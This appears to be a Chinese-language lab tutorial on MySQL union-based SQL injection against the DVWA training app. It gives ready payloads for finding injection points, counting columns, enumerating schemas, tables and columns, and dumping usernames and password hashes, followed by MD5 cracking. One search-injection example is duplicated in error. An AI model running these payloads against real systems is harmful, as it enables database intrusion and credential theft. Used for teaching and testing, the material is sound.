目录
一,sql注入必记的一库三表
Information_schema(数据库)(MySQL中默认的数据库)
SCHEMATA(表):存储了MySQL下每一个数据库的相关信息
schema_name(字段):数据库名
TABLES(表):存储了MySQL下每一个表的相关信息
TABLE_NAME(字段):数据表名称
TABLE_SCHEMA(字段):该数据表属于哪一个数据库
COLUMNS(库):存储了MySQL下每一个数据表中的所有列名(字段名)
COLUMN_NAME(字段):字段名称
TABLE_NAME(字段):该字段属于哪一个数据表
TALBE_SCHEMA(字段):当前字段所属数据表所在的数据库名称
注意:这三张表在information_schema数据库下面,在SQL注入过程中不能直接指定表名,
要使用“数据库名.数据表名”的形式,例如:information_schema.tables
二,union联合查询注入
1,基本注入流程
1,判断注入点
判断常用:
and //and是在知道用户名或则id时使用
or //是在不知道的情况下使用
1,数字型注入点判断手法:
1 and 1=1 //正常显示
1 and 1=2 //空页面或则报错
2,字符型注入点判断手法:常见的字符包裹符有—— '' 或 "" 或 ()
1' and 1=1 -- - //正常显示
1' and 1=2 -- - //空页面
3,搜索型注入:判断手法
xxx%' or 1=1 -- - //正常显示
xxx%' or 1=1 -- - //页面空显示
2,判断多少列
判断语句:
1' order by 1,2,3,N-- -
一直判断到报错
实列:DVWA
3,判断显示位
判断语句:
1' union select 1,2-- -
一直判断到报错
以DNWA为例:
一般显示位都是通过,有多少字段来判断的
1' union select 1,2 -- -
在验证一下是不是只有两个显示位
在多加一列就报错了,那么就显示,只有两个显示位了
4,显示数据库的基本信息
基本语句:
1' union select 1,(select database())-- - //database()显示当前使用的数据库
DVWA为例:
上面是注入语句,下面是数据库名
由于有两个显示位,所以可以显示两条基本信息
5,显示有哪些数据库
基本语句:
1' union select 1,(select group_concat(schema_name) from information_schema.schemata) -- -
以DVWA为例:
这就是我们查询到的库名了
6,显示数据库下有哪些表
基本语句:
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'dvwa')-- -
以DVWA为例:
既然知道了库名,那么在根据库名查询表名
7,判断表里有哪些字段
基本语句:
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name = 'users')-- -
以DVWA为例
八,查询数据表中有哪些数据
基本语句:
1' union select 1,(select group_concat(concat_ws("~",user,password)) from dvwa.users)-- -
获取的是user和password
最后使用MD5解密